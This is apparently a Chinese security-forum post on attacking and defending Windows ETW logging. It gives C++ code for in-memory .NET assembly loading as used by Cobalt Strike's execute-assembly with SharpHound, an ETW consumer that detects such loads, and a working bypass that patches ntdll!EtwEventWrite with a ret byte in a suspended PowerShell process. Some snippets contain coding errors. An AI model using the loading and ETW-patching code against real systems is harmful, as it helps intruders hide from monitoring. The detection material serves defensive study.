|
本帖最后由 PEnticE 于 2022-7-21 12:25 编辑
ETW的攻与防 (qq.com)
前言ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW探究其攻与防的实现
ETW事件监测(Event Instrumentation)总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为它们的中介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer的筛选条件,ETW会调用相应的回调来处理该事件
ETW`针对事件的处理是在某个会话(`ETW Session`)中进行的,`ETW Session`提供了一个接收、存储、处理和分发事件的执行上下文。`ETW`框架可以创建多一个会话来处理由提供者程序发送的事件,但是`ETW Session`并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个`ETW Session`发送事件。对于接收到的事件,`ETW Session`可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。`ETW`会话的开启和终止是通过 `Session`的开启和终止是通过ETW控制器(`ETW Controller`)进行管理的。除了管理`ETW Session`之外,`ETW Controller`还可以禁用或者恢复注册到某个`ETW Session`上的`ETW Provider
在这里,我们可以看到所有已注册的ETW提供者及其对应GUID,我们还可以看到Microsoft-Windows-Threat-Intelligence突出显示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>注册表项的二进制清单文件因为这是一个Manifest-based ETW提供者
- logman.exe query providers
复制代码
我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型
- logman.exe query providers Microsoft-Windows-Threat-Intelligence
复制代码
也可以XML Manifest使用此工具检索文件,这使我们可以更详细地了解特定EtwTi事件记录的参数
使用x nt!EtwTi*来查看内核里面的所有例程
execute-assemblycs在3.11版本实现了在非托管程序中加载.net程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell脚本能够很容易的转换为C#代码,十分方便,使用到的就是execute-assembly这个命令,这里我们用c#程序sharphound.exe进行演示,这个程序用来导出域内关系并可视化
- execute-assembly D:\Bloodhound\SharpHound.exe -c all
复制代码
首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLR。CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:
- • 在CLR监视之下运行的程序属于托管的代码
- • 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码
托管程序与非托管程序的概念如下
托管代码就是Visual Basic .NET和C#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。
非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。
再就是Unmanaged API,它其实是一套能将.net程序集加载到任意程序里面的API,它支持ICorRuntimeHost Interface和ICLRRuntimeHost Interface两种接口,我们看一下msdn里面的描述
其中ICorRuntimeHost Interface支持的版本有v1.0.3705, v1.1.4322, v2.0.50727,v4.0.30319,ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在实际的开发里面两种接口都是可以使用的
cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost的接口,主要用到以下3个接口
ICLRMetaHost
ICLRRuntimeInfo
ICLRRuntimeHost
ICLRMetaHost提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定
ICLRRuntimeInfo提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。此接口还提供了特定于运行时的功能,而无需初始化运行时。它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口
ICLRRuntimeHost`提供与 .NET Framework 版本1中提供的 `ICorRuntimeHost`接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 `SetHostControl`方法的添加,省略提供的某些方法 `ICorRuntimeHost
硬盘加载首先这里我们写一个Printf函数,使用Console.WriteLine接收
- namespace etw1
- {
- class Program
- {
- static int Main(String[] args)
- {
- return 1;
- }
- static int Printf(String strings)
- {
- Console.WriteLine(strings);
- return 1;
- }
- }
- }
复制代码
在服务端我们首先使用CLRCreateInstance初始化ICLRMetaHost接口
- CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);
复制代码
然后调用GetRuntime方法获取ICLRRuntimeInfo接口
- iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);
复制代码
再使用ICLRRuntimeInfo将 CLR加载到当前进程,返回运行时接口ICLRRuntimeHost指针
- iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);
复制代码
然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序
- iRuntimeHost->ExecuteInDefaultAppDomain
- (L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);
复制代码
实现效果如下
内存加载内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payload为c#程序,调用powershell十分方便利用
那么我们来进行代码的实现,首先还是初始化CLR环境
- CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
- iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
- iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
- iRuntimeHost->Start();
复制代码
然后使用ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针
- iRuntimeHost->GetDefaultDomain(&pAppDomain);
- pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
复制代码
使用Load_3(…)从内存中读取并加载.NET程序集
- saBound[0].cElements = ASSEMBLY_LENGTH;
- saBound[0].lLbound = 0;
- SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
- SafeArrayAccessData(pSafeArray, &pData);
- memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
- SafeArrayUnaccessData(pSafeArray);
- pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
- pAssembly->get_EntryPoint(&pMethodInfo);
复制代码
创建安全数组并执行入口点
- ZeroMemory(&vRet, sizeof(VARIANT));
- ZeroMemory(&vObj, sizeof(VARIANT));
- vObj.vt = VT_NULL;
- vPsa.vt = (VT_ARRAY | VT_BSTR);
- args = SafeArrayCreateVector(VT_VARIANT, 0, 1);
- if (argc > 1)
- {
- vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
- for (long i = 0; i < argc; i++)
- {
- SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
- }
- long idx[1] = { 0 };
- SafeArrayPutElement(args, idx, &vPsa);
- }
- HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
复制代码
检测execute-assembly一般检测execute-assembly都会使用windows事件跟踪,即ETW,例如这里启动一个powershell进程,通过procexp查看可以看到被CLR托管的dll
我们可以从processhacker工具源码里面的asmpage.c(https://github.com/processhacker ... tNetTools/asmpage.c)源码里面查看这类工具是怎样枚举`.net`工具集的,这里挑出关键代码编译成`etw2.exe`
- static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
- const char name[] = "dotnet trace\0";
- #pragma pack(1)
- typedef struct _AssemblyLoadUnloadRundown_V1
- {
- ULONG64 AssemblyID;
- ULONG64 AppDomainID;
- ULONG64 BindingID;
- ULONG AssemblyFlags;
- WCHAR FullyQualifiedAssemblyName[1];
- } AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
- #pragma pack()
- static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {
- PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
- PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
- AssemblyLoadUnloadRundown_V1* assemblyUserData;
- switch (eventDescriptor->Id) {
- case AssemblyDCStart_V1:
- assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
- wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
- break;
- }
- }
- int main(void)
- {
- TRACEHANDLE hTrace = 0;
- ULONG result, bufferSize;
- EVENT_TRACE_LOGFILEA trace;
- EVENT_TRACE_PROPERTIES* traceProp;
- printf(".net_ETW_finder\n\n");
- memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
- trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
- trace.LoggerName = (LPSTR)name;
- trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;
- bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);
- traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
- traceProp->Wnode.BufferSize = bufferSize;
- traceProp->Wnode.ClientContext = 2;
- traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
- traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
- traceProp->LogFileNameOffset = 0;
- traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
- if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
- printf("[!] Error starting trace: %d\n", result);
- return 1;
- }
- if ((result = EnableTraceEx(
- &ClrRuntimeProviderGuid,
- NULL,
- hTrace,
- 1,
- TRACE_LEVEL_VERBOSE,
- 0x8, // LoaderKeyword
- 0,
- 0,
- NULL
- )) != ERROR_SUCCESS) {
- printf("[!] Error EnableTraceEx\n");
- return 2;
- }
- hTrace = OpenTrace(&trace);
- if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
- printf("[!] Error OpenTrace\n");
- return 3;
- }
- result = ProcessTrace(&hTrace, 1, NULL, NULL);
- if (result != ERROR_SUCCESS) {
- printf("[!] Error ProcessTrace\n");
- return 4;
- }
- return 0;
- }
复制代码
首先cs上线
然后启动我们的监控程序
在beacon里面调用SharpHound.exe,这里需要在域内且具有.net环境才能够运行成功,执行以下命令
execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4
这里就会在exe存放的位置生成以下三个文件
然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound的调用
这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可
- switch (eventDescriptor->Id) {
- case MethodLoadVerbose_V1:
- methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
- WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
- WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
- WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
- wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
- }
复制代码
这里通过select-string查找SharpHound方法
这里还是启动一下我们的SharpHound程序
可以看到还是被监控到了Sharphound2.Sharphound方法
规避ETW检测通过查阅资料后发现ETW将 TRUE布尔参数传递到nt!EtwpStopTrace函数中,以查找 ETW特定结构并动态修改或修补ntdll!ETWEventWrite或advapi32!EventWrite立即返回从而停止用户模式记录器
也就是说在3环ETW是通过ntdll.dll的EtwEventWriteFull函数实现的
往下跟发现调用了EtwEventWriteFull,然后EtwEventWriteFull调用EtwpEventWriteFull
我们继续往下看EtwEventWriteFull函数,调用了NtTraceEvent
继续跟NtTraceEvent,可以发现NtTraceEvent通过syscall进入内核
这里我们可以打印一下地址
那么我们在EtwEventWriteFull直接使用0xc3即ret返回,即可达到绕过的效果,首先我们通过x64dbg和powershell验证一下
首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点
定位到ntdll!EtwEventWrite
一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接使用ret即C3返回即可
查看CLR日志已经被清空
这里通过代码实现,定位到ntdll!EtwEventWrite函数,然后在入口处ret返回即可,使用VirtualProtectEx修改属性
- void bypassetw()
- {
- STARTUPINFOA si = { 0 };
- PROCESS_INFORMATION pi = { 0 };
- si.cb = sizeof(si);
- CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };
- HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
- LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);
- DWORD oldProtect;
- char patch = 0xc3;
- VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
- WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);
- VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
- ResumeThread(pi.hThread);
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- FreeLibrary(hNtdll);
- return 0;
- }
复制代码
实现效果如下,可以看到起了一个powershell进程,查看CLR日志也被清空
image-20220513104316834.png
这里可能某些EDR会hookEtwEventWrite这个函数,那么我们直接往syscall进0环的函数去挂钩,代码如下
- unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
- LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);
复制代码
可以看到CLR日志也被清空
|
|